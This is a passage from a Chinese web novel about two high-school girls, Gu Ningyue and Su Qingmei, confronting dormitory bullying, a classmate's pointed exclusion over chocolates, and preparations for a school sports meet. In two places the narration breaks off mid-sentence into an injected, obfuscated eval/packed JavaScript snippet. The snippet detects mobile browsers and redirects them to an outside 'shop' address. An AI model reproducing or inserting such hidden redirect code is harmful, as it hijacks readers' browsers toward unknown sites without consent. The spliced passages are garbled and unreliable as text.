钱丽看到苏晴眉瘦弱的样子,气势登时涨了几分:“你跟我扯什么都没用,反正苏晴眉就是又装又坏,你愿意当傻子被她利用就当傻子咯,我可跟她不一样,谁稀罕你的东西。” 说完,钱丽推动顾宁越的胳膊,要往外走。 但是她没成功,被顾宁越拽住手臂,让她站在原处。 顾宁越指着钱丽说:“你说得对,谁都不会跟臭虫讲道理。但你搞清楚一件事,践踏别人不会让你的成绩从倒数第一变成正数第一,别的同学可以通过自身的努力把人生的路越走越好,而你现在的所作所为只会把自己搞得越来越臭。” 钱丽的嘴角狠狠地往下撇,眼眶瞬间发红:“顾宁越你以为你成绩就好了?你考年级第一了吗,你考上京大了吗,你没有资格说我!” “你更没有资格议论苏晴眉!”顾宁越猛地爆发,话音如雷,“你没有任何证据就到处造谣,损坏苏晴眉和我的声誉,这次我只是警告你,要是再有下次,我就到法院告你诽谤罪,让全校的同学老师,让你的妈爸亲戚,让你小区所有认识的人都知道你这个人有多坏。” 钱丽当场就傻了,呆了许久都说不出话,旁边的两个同学也吓得脸色苍白,生怕顾宁越的怒火牵连到她们。 顾宁越告诉钱丽:“我不要你的道歉,我只要你得到应有的惩罚,你好自为之。” 说完,顾宁越看向那两个女生,皱眉:“刚才是谁叫苏晴眉的绰号?” 一个女生怯怯地开口:“是我……对不起,我错了。”她转向苏晴眉:“对不起晴眉,我跟你道歉,我再也不会瞎说了。” 顾宁越没有说话,这个原谅要让苏晴眉来决定要不要给。 苏晴眉对这个女生说:“我想问你一个问题,我有名字,为什么你要叫我黑妹?” 女生小声地回答:“因为大家都这么叫你。” “如果大家不这么叫呢?” “我会叫你的名字。” 苏晴眉叹一小口气:“如果我说原谅你,你回去以后会觉得我是仗着顾宁越撑腰欺负你,不服气吧。那我也不要你的道歉了,你愿意叫我的绰号,我也可以给你起绰号,你怎么称呼我,我就怎么称呼你。” 女生连忙摇头:“我是真心跟你道歉,我不会再乱说的,而且我们都相信你和顾宁越,我们才不信钱丽呢,她忌恨心重大家都知道。” 另一个女生点头:“是的,我也不会乱说。” 苏晴眉跟顾宁越道:“我没有别的要说了。” 顾宁越冷厉地瞪了钱丽一眼,抛下一句话:“你别有侥幸心理,我说到做到。” 第三节晚自习的预备铃响了,顾宁越和苏晴眉回了教室。 两人坐回座位,顾宁越回想刚才经历的情形,发现苏晴眉面对同学的胆子变大了,能够像在小食光一样勇敢地反击恶意。 早这么干就对了,那些心术不正的人就是欺软怕硬,他们不会因为对方遵纪守法、宽宏大量而握手言和,只会害怕自身的利益受到损害,害怕更强大的力量反过来对抗他们。 顾宁越见老师还没来,靠近苏晴眉的课桌,压低嗓子:“晴眉,你刚才说的话超级酷。” 苏晴眉翻过一页书,往左瞥她:“真的吗?” 顾宁越十分肯定:“真的,特别有气势。晴眉,我们以后再遇到这种惹是生非的人绝对不能跟他们客气,直接怼回去,他们都是纸老虎,欺软怕硬。” 苏晴眉抿了抿唇:“其实我当时有一点害怕,我怕我说的太过分把同学关系搞得更僵,但是你那么勇敢地为我出头,我再唯唯诺诺的就很懦弱,所以壮着胆子怼的。” “其实你不怼才会让关系更僵,你不发威,他们更加泼脏水,恶性循环没完没了。反正都被泼了,不如也把他们泼脏,把水搅浑就分不清敌我,一片乱杀。” “嗯……”苏晴眉用笔支住下巴,思考顾宁越的话,对她微笑,“有道理。” 下了晚自习,苏晴眉照常赶回宿舍,顾宁越没去操场跑步,而是去了后校门的文具店。 她回到寝室,苏晴眉照例洗漱好了,坐在书桌前边泡脚边复习公式。 钱丽在阳台外面晾衣服。 顾宁越放下书包,往桌上放了一堆东西,嘭咚一声响,听起来很沉闷。 苏晴眉的床位就在她旁边,床头床尾相连,书桌也紧靠着,她探头朝顾宁越桌上看:“这么多锁?” 顾宁越拿了三把锁给她,还有一串已经挂好的钥匙扣:“晴眉,你不在床位的时候把衣柜鞋柜书桌抽屉都锁上。” “啊?” 顾宁越故意说话很大声:“我们都把柜子抽屉锁好,管理好个人财产,免得有些人又看我们什么东西眼红,心怀鬼胎!” 苏晴眉听出了她的话中有话,看了眼阳台外的钱丽,沉下眉毛,目光逐渐坚定:“好,我知道了。” 这是属于她们二人的反击战。 顾宁越和苏晴眉给各自的柜子挂上锁,寝室里丁零当啷响,钱丽提着盆子走进来,冷哼不说话,她不理她们,她们也不理她。 顾宁越对钱丽的行为嗤之以鼻。 切,不就是玩小团体搞孤立吗? 人不犯我我不犯人,但人都骑到我头上了,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989000|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起,别怪我睚眦必报。 以前钱丽在寝室里还能跟苏晴眉聊聊天,现在她得罪了苏晴眉和顾宁越,一个可以说话的人都没有,只能一个人沉默地呆着,没人关心她。 自从苏晴眉从床梯上摔过一次后,虽然苏晴眉有了新的充电台灯,但是顾宁越必须每晚陪她一起上床才能安心。 她们都坐在床下边,苏晴眉挑灯夜读,顾宁越先开始也看书,但是十一点半以后就困了,拿出手机玩游戏。 苏晴眉学到十二点,合上书本。 她向左看,顾宁越正用手指在手机屏幕上快速划动。 “在玩什么?” “切水果游戏。”顾宁越靠近她,把游戏界面给她看。 苏晴眉的睫毛像蝴蝶震动翅膀一样:“哇哦,在手机上也能切水果呀。” “嗯哼,你伸一根手指出来,放到屏幕上。”顾宁越轻轻捏着她的手指划动,“像这样,切橘子,切苹果,切西瓜。” 指尖划过的地方闪出细小的光芒,屏幕里的水果喀嚓碎掉,积分唰唰上涨,看得人很有成就感。 顾宁越慢慢地松开她的手指,苏晴眉学着她的操作划动屏幕,手机的微光照拂苏晴眉的脸颊,唇角漾开清灵的笑容。 顾宁越托腮静静地看着她,心想:她像山林里的精灵一样。 一关游戏结束,弹出结算画面,苏晴眉抬起头把手机还给她,正好撞上她的目光。 她们的视线交织半秒,苏晴眉匆忙地移开,转身收拾书桌:“很晚了,我们睡觉吧。” 顾宁越打了个哈欠:“嗯,晚安。” 上床,关灯。 顾宁越盖好被子,闭上眼睛。 脑海里徐徐浮现出苏晴眉在灯光下微笑的模样。 交融的视线转瞬即逝。 顾宁越微微蹙眉,好像那一瞬间苏晴眉躲开了她…… 是错觉吗? * 国庆后复课,不论是学生还是教师都有节后综合征。 大家适应了一天,下午的课结束后总算都松了口气。 班会课时间,老郑走上讲台:“安静一下,我们继续上学期的规定,每次月考后自由调换一次座位,现在大家收拾好桌面和抽屉,我们五分钟后换座。” 教室里满是整理课桌的声响,隐约可以听见同学们的窃窃私语。 “你想挨着谁坐?” “那还用说,崔屿茉。” “我也想和茉茉坐。” “你们都让开,茉茉是我的。” “我不知道跟谁坐,好像都一样。” “我不想和男生坐,哦,女生里我不要和苏晴眉坐。” “我也不想跟苏晴眉……” 苏晴眉坐在最后一排安静地看书,什么闲言碎语她都不在乎,因为她知道现在已经和过去不同了——不论别人怎么排斥她,总有顾宁越站在她的身后,陪伴她,支持她。 老郑:“好,现在开始换座位,大家保持安静。” 苏晴眉随意选了一个空位坐下。 顾宁越背上书包跟过去,一个人单手勾着包从她前面走过,站到了苏晴眉旁边。 庄晓:“苏晴眉,你话少,我挨你坐吧。” 顾宁越:“?” 不儿。 20. 第 20 章 顾宁越万万没想到半路杀出个庄晓跟她抢同桌。 顾宁越一个箭步冲过去,抢先坐到苏晴眉旁边的座位:“庄晓,你不厚道啊,你抛弃你原来的同桌了吗?” 庄晓耷拉着眼皮:“她说我脾气怪,不跟我坐,我才觉得她脾气怪。” “那你也不能拆散我和晴眉。” “……”庄晓身子往后靠,挑起眉毛,“你先问问苏晴眉的意思吧。” 顾宁越和庄晓的争执立马吸引了全班人的目光。顾宁越因为家境优越,性情张扬,一直都是班里的风云人物,而庄晓的家庭条件也不错,加上成绩优秀,经常参加各种竞赛赢取奖项,虽然性格孤僻,但在班里的风评也不差。 放在以前,谁也想不到这两个人会为苏晴眉同桌的位子发生争执。 很多同学都换好了座位,国庆放假前老郑就提过换座位的事,大部分人早就计划好了,他们现下没什么要紧事,都抱着吃瓜的心态观望着。 前排的中间位置,崔屿茉坐定后也和班长回头看她们。 顾宁越温声问苏晴眉:“晴眉,你愿意和谁坐同桌?” 苏晴眉紧张地眨巴眼睛,她迟缓半秒,非常抱歉地对庄晓说:“对不起庄晓,我和顾宁越已经是同桌了。” 顾宁越勾起唇,惬意地坐稳新座位:“没错,就是这样。” 庄晓并不在意,她顺势坐到顾宁越的前桌:“那就这样。” 最后,一个叫艾萌的女生坐到了庄晓旁边,也成了苏晴眉的前桌。 全班的座位都换好了,老郑在讲台上讲秋季运动会的准备事宜,包括比赛报名,方阵练习,等等。 顾宁越有身高优势,从小到大每次运动会都会参加跳远或跳高比赛,也能帮班里挣点荣誉。 顾宁越小声跟苏晴眉说话:“你报名比赛吗?” 苏晴眉正在写作业,握着铅笔画图,她一边比直尺,边说:“我不参加,两天时间能看好多书。” 顾宁越道:“高考也考体育。” 苏晴眉停下笔,想了想,说:“嗯,我没问题。” 顾宁越忽然想到,苏晴眉说过她在山里时每天都要走很多路,平时还要干农活,这样长年累月的,体能应该很好。 别看苏晴眉个子小,抢饭的时候跑得很快。 顾宁越很想和苏晴眉一起参加运动会,互相为彼此加油呐喊,那种振奋人心的感觉超棒。 此外,顾宁越还有一点私心,她想让苏晴眉的优点被更多人看到。参与班级活动能帮助苏晴眉更好的融入集体,这是一种展示自我的途径。如果苏晴眉能拿到名次的话,不管是个人荣誉还是集体荣誉,都能极大的增强苏晴眉的信心。 顾宁越说:“我要报跳远,晴眉,你跑步很快,你要不试试长跑或者短跑?” 苏晴眉犹豫了一会,把笔握得紧了些:“唔……我……还是不要了。” 顾宁越看出她在犹豫,想问明白苏晴眉的顾虑:“为什么?你跑得很快啊。” 苏晴眉垂下睫毛:“我害怕输,那么多人看着我,万一输了给五班丢脸,大家会更讨厌我。” 顾宁越很想说点什么鼓励她,但是空口白话的毫无说服力,不如想点办法让她自愿参与,如果她实在不愿意也不能勉强。总之运动会还早,不着急。 苏晴眉微笑着对她说:“你跳远比赛的时候我去给你加油,我给你写很多加油稿。” 顾宁越心里乐开了花:“好!” 前面的艾萌转过来:“你们要参加吗?” 顾宁越点头:“我到时候报跳远。” 艾萌:“苏晴眉,你呢?” “我?”苏晴眉没想到这个新前桌会主动问她。 “我刚刚好像听到你说要报跑步?” 苏晴眉忙不迭摇头:“没有没有,我不行的,我什么都不参加。” 艾萌噢一声,她长得比较胖,笑起来憨态可掬:“我要报铅球。苏晴眉,等我比赛的时候你可以也给我写加油稿吗?” 苏晴眉忙道:“好的,我给你写,我也去给你比赛加油。” “谢谢你。”艾萌非常开心。 顾宁越趁机关心一下刚才跟她抢同桌的庄晓,轻轻敲她的椅背:“庄,你报比赛吗?” 庄晓侧过头,黑色的眼珠里隐隐藏着笑意:“飞机模型大赛,来?” 顾宁越哪里搞得懂飞机模型和机器人那类的比赛,知道庄晓故意逗她玩,佯装生气地弹了弹她背后的兜帽:“去。” 苏晴眉被她俩逗乐了,悄悄弯了弯嘴角。 老郑把秋季运动会的通知和报名表交给体育委员,叮嘱大家体育课要认真训练走方阵。 “周三之前要把我们五班的口号想出来,大家写好以后交给体委,时间比较紧张,都积极写啊。我就说到这,组织委员上来组织班会。” 说完,老郑夹着教案走出教室。 这时班会课的时间已经接近尾声,崔屿茉提着一只LV菜篮子走上讲台,下面的同学一片起哄:“哇噢,LV哦~” “校花就是有实力!” “不愧是茉茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989001|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随便出手就是名牌。” 不过也有一些人毫不在意,比如顾宁越和庄晓,她们想要随时都能买。 再比如苏晴眉,她不知道LV是什么,更想象不到崔屿茉手里的那个包比她母亲种一年的田挣的钱还要贵。 崔屿茉把包放在讲桌上,从里面拿出一根埃菲尔铁塔造型的巧克力棒棒糖,莞尔一笑:“大家请安静一下,听我说。我国庆去了法国巴黎,给大家带了伴手礼回来,是巴黎的手工巧克力,味道非常纯正,我专门选了代表法国的埃菲尔铁塔造型。接下来我把巧克力发给你们,下课才能吃哟。” “耶!茉茉万岁!茉茉我们最爱你了!” “巧克力!巧克力!法国来的巧克力!” “我的天,我从来没吃过国外的手工巧克力!谢谢茉茉!没有你我怎么能吃到这么好的东西。” 崔屿茉笑靥如花,窈窕的身姿轻盈地在教室过道里穿梭,温柔地把巧克力分发给每一位同学:“来,你的……你的……这是你的,请拿好。” 拿到巧克力的同学兴奋地讨论巧克力的造型和包装,有几个嘴馋的忍不住拆开包装闻里边的香味,教室里顿时热闹非凡。 “艾萌,你的。”崔屿茉走到教室右边的中后排。 “谢谢。” “庄庄,你的。”崔屿茉把巧克力送到庄晓的手边。 庄晓头也不抬地看《极简宇宙史》,把巧克力按到桌上:“谢了。” 崔屿茉沿着过道往后走一步,目光投向顾宁越。 她沉默片刻,放了一个巧克力到顾宁越的桌上,没有停留,略过苏晴眉走到后一排,重新挂上笑容,给后面的同学发巧克力:“秦梅梅,你的。王宇,你的。” 崔屿茉发完了。 五班每个人的桌上都有一个埃菲尔铁塔巧克力——除了苏晴眉。 苏晴眉瞥了眼顾宁越桌上的巧克力,小心翼翼地收回视线,安静地拿起签字笔,翻开练习册,读题,勾画关键信息,答题。 忽然,苏晴眉的视野里出现了一个巧克力,她转头往身旁看,顾宁越把巧克力棒棒糖放到了她的练习册上。 “崔屿茉!”顾宁越大声喊。 全班看向她。 顾宁越蓦地站起,神情不羁:“全班其他人都有巧克力,为什么只有我没有?” 鸦雀无声。 静默之中,苏晴眉把手放在顾宁越给她的巧克力上面,慢慢收拢手指,握紧。 这一刻,只有她知道这块巧克力有多么甜。 多么浓。 21. 第 21 章 像这种故意跳过一两个人不分享零食,还有类似的故意在请客喝奶茶的时候漏掉几个人的孤立手段,顾宁越在上辈子的学习生活和工作生活里都见得多了。 下流。 对付这种人不用客气,就事论事,崔屿茉说请全班的,没有她的她就问崔屿茉要咯。 顾宁越再次发问:“班里四十九个人,就没我的份是吗?” 崔屿茉面对她的质问从容不迫:“对不起,是我不小心发漏了。” 顾宁越不予评价,是故意的还是不小心,崔屿茉心里清楚。 崔屿茉把包包翻过来,敞口对着顾宁越的方向,顾宁越能看到里面,其他同学也能看见。 包里空了。 崔屿茉的声音很温柔,仔细听的话还带着一点小委屈:“真的很抱歉,巧克力带少了,还好我带了一点自己吃的,不过不是埃菲尔铁塔造型,和大家的不一样,你不介意的话我把我的给你?” 崔屿茉回座位拿了一根棒棒糖给顾宁越,是装饰了草莓果干的心形白巧。 周围的同学都看清了白巧的形状,看热闹地起哄:“哇哦,是爱心哟~” “茉茉就是对顾宁越不一样,送的都是心心,我就说她俩会和好。” “顾宁越也真是的,她还差那一个巧克力吗?给她了茉茉吃什么。” 崔屿茉站在顾宁越面前,摇一摇手里的爱心白巧:“可以吗?” “好啊。” “喏。”崔屿茉笑着递给她巧克力。 顾宁越接过来,嗓门洪亮:“我不喜欢吃白巧,有人愿意跟我换埃菲尔铁塔吗?” 崔屿茉的笑容凝滞,眼神里平添一分冷漠,她默不作声,等着看顾宁越到底要做什么。 其他同学都在看热闹,开始没人回应,顾宁越又问了一遍谁愿意跟她换,一个男生举起铁塔巧克力说:“我跟你换。” 顾宁越干脆地把白巧抛给他,男生欢快地吹了声口哨,把铁塔巧克力抛给顾宁越。 一个班级里,哪些人对哪些人有好感都不是秘密,虽然表面没戳破,但大部分人心知肚明,那个男生一接到白巧,班里好几个男生都挤眉弄眼地起哄。 不用猜都知道崔屿茉很生气,但是顾宁越才懒得理,她也憋了一肚子气,崔屿茉故意孤立苏晴眉的事她上哪说理去?崔屿茉自己要玩阴的,就别怪她不客气。 下课铃响了,同学们纷纷收拾书桌休息,这场因为巧克力引发的小摩擦告一段落。 走在食堂的路上,苏晴眉轻轻地剥开巧克力漂亮的包装。 她捏着巧克力下边的糖棍,转头偏向顾宁越:“你不尝尝吗?闻着很甜。” 顾宁越无奈地从衣兜里摸出巧克力棒棒糖:“我想把它扔了。” 谁愿意吃杀害自己的凶手给的糖?顾宁越只觉得晦气。 “那我尝尝。”苏晴眉把埃菲尔铁塔的塔尖含进嘴里,抿了抿,“唔嗯……” 她微微歪头,仔细地品味。 顾宁越想把手里的巧克力也给她:“好吃吗?” 苏晴眉把巧克力装回包装袋,封好,扬脸对她微笑:“还不错,但是没有你送我的好吃。” 顾宁越得到她的夸奖,心情顿时晴朗,声线的尾音向上扬:“那当然了,我送你的肯定更好。” 她们收起巧克力,加入前往食堂的人流,落日的余晖暖融融的洒在熙攘的道路上。 最近两周的体育课都很忙碌。 为运动会做准备,全班一起练习走方阵,有参赛项目的同学各自训练。 就连每天的班会课都被老郑利用来练习方阵,其他班也想到了这一点,每到傍晚操场上就聚满了人,还得提前派体委到操场抢地盘。 按照学校的惯例,月末一周的最后两天举办运动会,距离正式开幕还有几天时间,体育委员刘凯俐趁早读之前到讲台上提醒大家:“今天下午我就要提交运动会报名表了,我们班长跑还差人,大家赶快来报名啊!” 可惜并没有人回应她,如果有人愿意的话早就报了,不会拖到现在。 刘凯俐无可奈何地回到座位,她早就估计到是这种结果,也没指望真有人报,最后实在报不齐只能把班委们填上去。 顾宁越把英语书摊在桌上,也没看,坐在椅子上若有所思。 “顾宁越,我能用一下你的荧光笔吗?”苏晴眉正在预习课文,要勾画短语。 顾宁越从抽屉里摸出一袋彩色荧光笔给她。 “谢谢。” “晴眉,长跑报名还差一个人,你要不去试试吧?” 苏晴眉犹豫:“可是……” 顾宁越鼓励她:“这是个人赛,你不用担心太多,现在报名的人数都凑不齐,你跑得快,耐力好,比随便填一个人上去强多了。” 苏晴眉的神情有少许松动,但依旧有些抗拒。 顾宁越小声告诉她:“听说市里开展健康教育活动,有补贴,学校运动会各项比赛的前三名都有奖金。” 苏晴眉的两只眼睛倏然亮起:“真的?” “真的,之前我去办公室打扫卫生,听郑老师他们聊天说的,应该过两天就会公布。” 苏晴眉纠结了几秒,十分郑重地点了点头,如临大敌一般:“好,我报名。” 早读课结束,顾宁越陪着苏晴眉找刘凯俐报名长跑。 刘凯俐惊讶地瞪大了眼睛,认真地问苏晴眉:“你确定要报长跑吗?” 苏晴眉态度诚恳:“对,我要报名。” 刘凯俐如释重负地松了一大口气,激动地握住苏晴眉的手:“天使,你简直是天使!苏晴眉,你真是帮我的大忙了!” 长跑是大部分同学都不喜欢的项目,刘凯俐擅长跳高,长跑是她的弱项,如果找不到人报名长跑最后只能是她上,这下好了,她能解脱了。 苏晴眉被刘凯俐的盛情吓呆了,她板正地站在原地,微笑着和刘凯俐握了一会手。 刘凯俐急忙拿出运动会报名表给苏晴眉签字:“报了名不能退出,必须参加比赛啊。” 苏晴眉写下名字和报名项目:“我知道了,我不会退出,我会好好参加比赛。” 刘凯俐嘿嘿一笑,露出洁白的牙齿,看苏晴眉的神态像一位慈祥的母亲,肉眼可见的欣喜。 这天下了晚自习,苏晴眉主动跟顾宁越跑操场,顾宁越的圈数从一圈加到了两圈,而她震惊地发现,苏晴眉竟然能跑四圈。 四圈…… 这是什么概念! 顾宁越觉得苏晴眉不用参加八百米,可以直接去马拉松了。 她靠在路灯下的健身器材边,等苏晴眉慢慢跑过来。 苏晴眉只是轻微地换气,仿佛这四圈下来对她而言算不得什么。 顾宁越推测苏晴眉的耐力不错,但没想到这么夸张:“你太厉害了,你平时抢饭是收着跑的?” 苏晴眉在她旁边做拉伸:“抢饭只要能吃到就好了,不用特别快。小时候我跟我爸进山找草药,一走就是十几里山路,最开始脚底磨出了泡,我爸就给我挑,背着我继续爬山。后来支书领着大家种白菜,种土豆,我就很少进深山了,跟村里一个叫凤妞的姑娘到村里念小学,刚开始村里还没修路,我们每天都要走五六里,早就习惯了。” 她一边回忆一边在花坛边缘坐下,抬头就能望见浩瀚的星河,晚风拂过她微笑的唇角:“顾宁越,山路很疙瘩,城里的路真好走。” 苏晴眉说的是脚下走的路,顾宁越听到的不仅是脚下的路,还有人生的路,她同苏晴眉一道仰望星空:“是啊,幸好你转学到这了。” 不然,她这一世不知道要什么时候才能找到苏晴眉,才能报答这份穿越时空的恩情。 夜色渐深,她们穿过安静空旷的操场,走进亮满灯光的学生宿舍。 正如顾宁越所说,第二天副校长就在大课间向全校宣布了运动会奖金的事情,台下的学生一片沸腾,不乏有些“藏了一手”的人后悔没能报名。 * 转眼间来到运动会的日子,清晨阳光灿烂,高一高二全体师生齐聚操场,在运动员进行曲中举行开幕式。 各班把椅子搬到操场外围列阵,五班的椅子按照班里的座位摆放,顾宁越和苏晴眉坐在最右侧靠后。 “嗨~宁越,晴眉!我们坐一起哎,我有零食一起吃呀。” 左边是四班的区域,顾宁越转头看去,乔梦灵笑着给她们看手里的一大袋零食,她的座位隔了一条走道就是庄晓。 庄晓的椅子上扣着那本《极简宇宙史》,顾宁越惊讶,这家伙是有多爱看这本书。 说曹操,曹操到,庄晓提着两大包霸王丝从狭窄的过道里走过来,放进乔梦灵的零食袋里,然后坐回座位。 顾宁越对乔梦灵道:“我一会要去跳远,你有比赛吗?” 乔梦灵说:“我也是今天上午,跳高,不过我是凑人头的。” 苏晴眉悄悄说:“我也是最后凑数报名长跑的,但是我想拿名次。” 乔梦灵握拳:“我也想,加油。” 所有人刚刚坐定,宣传委员赶忙分发下来纸片:“大家快写加油稿,一定要多写,写好了统一交给我,如果我不在的话给郭超。” 同学们自觉地把纸片往后传。 曹慧得意地说:“大家放心地写啊,有茉茉在广播站坐镇呢,肯定会优先念我们班的稿子。” 立即有人附和:“这我就放心了,希望能读一篇我的。” 宣传委员大声道:“虽然广播站有茉茉,但是也有其他班的人,我们还是得注意加油稿的质量,多写,写好。” 顾宁越拿到纸片就放下了,她最头疼写这些东西,苏晴眉把她的纸片拿过去:“我来写,我多写点,给你和艾萌加油。” 艾萌感动地说:“谢谢,如果我拿奖了请你们喝奶茶。” “分我两张。”庄晓弯腰捡走纸片。 顾宁越诧异:“你不看宇宙史吗?也写这个?” 庄晓已经握起笔开写了,她瞥了眼旁边四班的座位:“那不是要跳高么。” 顾宁越懂了,是给乔梦灵写的,她有点怀疑庄晓是不是有什么把柄落在乔梦灵手里了,又是跑腿给人买辣条,又是积极主动地给人写加油稿,是个发小当的是真靠谱。 宣传委员走过来,看其他人都在写加油稿,只有顾宁越站在原地不动,叫她:“顾宁越,你也得写一张,写完去比赛。” 顾宁越只好老实地写了一张加油稿。 运动会第一天上午主要是田赛和大部分径赛的预赛,跳远在上午,长跑在下午。 各班的运动员在广播的指引下排队候场,操场划分成几个赛区,比赛有条不紊的进行着。 广播提醒参加女子跳远的运动员到检录处,顾宁越要提前过去等候。 苏晴眉准备跟着顾宁越一块,帮她拿外套和水壶,于是找到宣传委员,想先把写好的十来张加油稿交给她。 宣传委员接过稿子:“这么多都是你写的?苏晴眉,你可以啊。” 苏晴眉说:“还有一张顾宁越写的。” “哦,我看到了。” “加油稿都给你了,那我们先走——” “汪怡!”老郑突然从行政楼那边走过来,朝着宣传委员招手。 “哎!郑老师?” “你跟我过来一下,要重新登记班徽。” “好的!” 宣传委员左右看了看,着急地从帆布包里拿出一沓用橡皮圈捆着的加油稿,看向面前的两个人,稍有迟疑:“顾宁越,你是不是马上要跳远?” 顾宁越应道:“对,广播通知检录了。” 宣传委员立马把那捆加油稿塞进苏晴眉手里:“广播站马上就要念稿了,编辑组还要提前审稿,我要跟老郑去登记班徽,不能耽误审稿的时间,苏晴眉,你帮我把我们班的加油稿送到广播站去,就在主席台。” 话音刚落她就匆匆忙忙地跟老郑走了,苏晴眉对着她的背影说了声好,小心翼翼地握紧那捆纸片。 广播第二次通知参赛运动员进行检录,苏晴眉不由有点慌忙,她对顾宁越说:“你快去检录,我送了加油稿马上去找你。” “好,你等会直接去沙坑那边。”顾宁越跟她挥挥手,大步流星地向裁判台后面走去。 苏晴眉快步赶到主席台,登上台阶,铺着红桌布的演讲桌旁坐着广播站的学生。 “同学,交加油稿吗?”坐在左外侧的播音员问。 “对。”苏晴眉连忙把捆好的一沓加油稿交给他。 播音员解开橡皮圈整理稿件:“你是高二五班的啊。” “是的。” 播音员小声叫坐在最右边的人:“组长,你们班的稿子。” 那人侧身过来,从播音员手里拿走加油稿,苏晴眉看见她的脸,是崔屿茉。 崔屿茉回头见到苏晴眉,眼里闪过一丝诧异,旋即对苏晴眉甜甜地笑道:“谢谢你啦。” “应该的。”苏晴眉转身下台阶,往沙坑的方向跑去。 此时此刻,在操场的另一侧,裁判台后方的检录处已经排起了队。 顾宁越准备好学生证,接受资格审核后录入编号分组,由负责引导的体育老师领至跳远赛区。 比赛还没有正式开始沙坑周围就围满了观看的同学,顾宁越身上贴着号码布,她在候赛区做着简单的热身运动,频频向观赛区张望,她找了几分钟,终于望见一个瘦小的身影从拥堵的人群里挤出来,朝顾宁越这边挥动胳膊。 那人的臂弯里还搂着顾宁越的外衣。 “顾宁越!我在这!”瘦小的身影跳动着,挥舞着,尽管隔着很远的距离看不清她的脸庞,但她的声音充满欣悦和热情。 顾宁越急忙跑到候赛区划白线的边缘,挥动手臂回应她:“苏晴眉!这边!看这!” 苏晴眉立刻看到了她,激动地举起用草稿纸做的小旗:“顾宁越!加油!” 五班还来了很多同学给顾宁越加油,是体育委员组织的拉拉队,她们有计划有组织地穿梭各个赛区,为所有五班的参赛选手加油打气。 急促的哨声划破冷空气,跑道上响起助跑的脚步声,随着运动员一次次奋力的跳跃,在沙坑里留下记录成绩的脚印,观赛区的同学们振臂高呼,气氛越来越昂扬。 候赛区,体育老师叫到顾宁越的号码,顾宁越做了一个深呼吸,到跑道上做准备。 苏晴眉站在五班的拉拉队里,和大家一起用力呐喊:“顾宁越!加油!顾宁越!第一!” 顾宁越扬起头,视线越过跑道和喧嚣的人群,默契的和苏晴眉对上目光,她对她笑了笑,耳畔一声吹哨,顾宁越弹跳而出,飞奔到起跳线,摆臂带动腰腿向前一跃——像一只自由的鸟儿般振翅翱翔! 呼啦—— 顾宁越高高跃起,两耳刮过呼啸的风声,她感到身体十分轻盈,在半空划出一道弧度,优雅地降落。 操场之上的蓝天响动着激励人心的加油稿播音:“跳远场上飞跃的身姿是多么矫健,你像搏击长空的鹰,英姿飒爽……相信你那坚韧的毅力,曙光一定属于你!高二五班,苏晴眉来稿。” “秋高气爽,晴空万里,阳光照耀着赛场,希望引领着亲爱的运动健儿……前方就是胜利!高二五班,苏晴眉来稿。” “跳跃吧!追风的少女呀,朝阳是你的旗帜,大地为你喝彩!高二五班的顾宁越,加油……” 高二五班的座位区域。 一个埋头写加油稿的男生停下笔,气愤地扔掉手里写到一半的加油稿。 “汪怡!”他急躁地把宣传委员叫过来,“你在搞什么?凭什么只送苏晴眉的加油稿?!” 另外两个也一直在写加油稿的同学跟着抱怨:“就是啊汪怡,广播站已经念了六篇苏晴眉的加油稿了,还有一篇顾宁越的,我们班只有她俩的稿子被念了,其他班被念的稿都是正常的,这里面明显有问题。” 汪怡也很纳闷,听到广播前三篇都是苏晴眉的时候她还以为是苏晴眉的稿子写得好,可是接着四五六篇都是苏晴眉的,汪怡就觉得不对劲了:“我也不知道。” 男生气急了,讲话口无遮拦:“汪怡,你说实话,你是不是收顾宁越的钱了?” “你在胡说什么!”汪怡又气又急,气血上涌把脸颊都染红了,“我收了每个人的加油稿,全都送去广播站了!” 男生梗着脖子与她争辩,也吵红了脸:“广播站只念苏晴眉和顾宁越的加油稿,说明你只送了她们两个人的稿子,大家都知道现在顾宁越跟苏晴眉走得近,不是她收买了你是什么!” “我真的没有!” 欲加之罪何患无辞,汪怡急得挠头发。 突然,她想起来一件事,跟这三个向她讨理的同学说:“我收的第一批加油稿是拜托苏晴眉送去广播站的,当时我要亲自去送的,但是郑老师临时找我有事,苏晴眉正好在我旁边,我就把稿子都给她了。” 几个人恍然大悟,男生一脸痛心疾首的表情:“你怎么能让别人去送!你是宣传委员啊,这是你的责任!这下完了,让人钻空子了。汪怡,我们几个宣传组的坐在这拼命写加油稿,结果因为你的疏忽全军覆没,你必须赔偿我们!” “就是!太过分了!” “赔偿我们!” 汪怡非常挫败,当下没有别的好办法,只能先尽力安抚他们:“你们先别急,我会跟郑老师说清楚这件事。” “耶!顾宁越你太酷了!预赛第一名!” “顾,下午决赛拿个冠军,给他们一二三四六班的瞅瞅,让他们见识见识我们五班的威风!” “行啊你顾宁越,跳得比高一更远了,期末跳远考试你教教我嘛~” 跳远预赛结束,观赛的同学簇拥着顾宁越回到五班的座位区,你一言我一语地说笑着。 顾宁越回到位子坐下,跟他们笑道:“你们下午来看决赛别在我助跑的时候加油了,我容易紧张。” 大家乐了:“知道了。” 苏晴眉在她身边坐下,把叠好的校服外套给她:“这风吹着冷,你先穿上吧,小心着凉。” 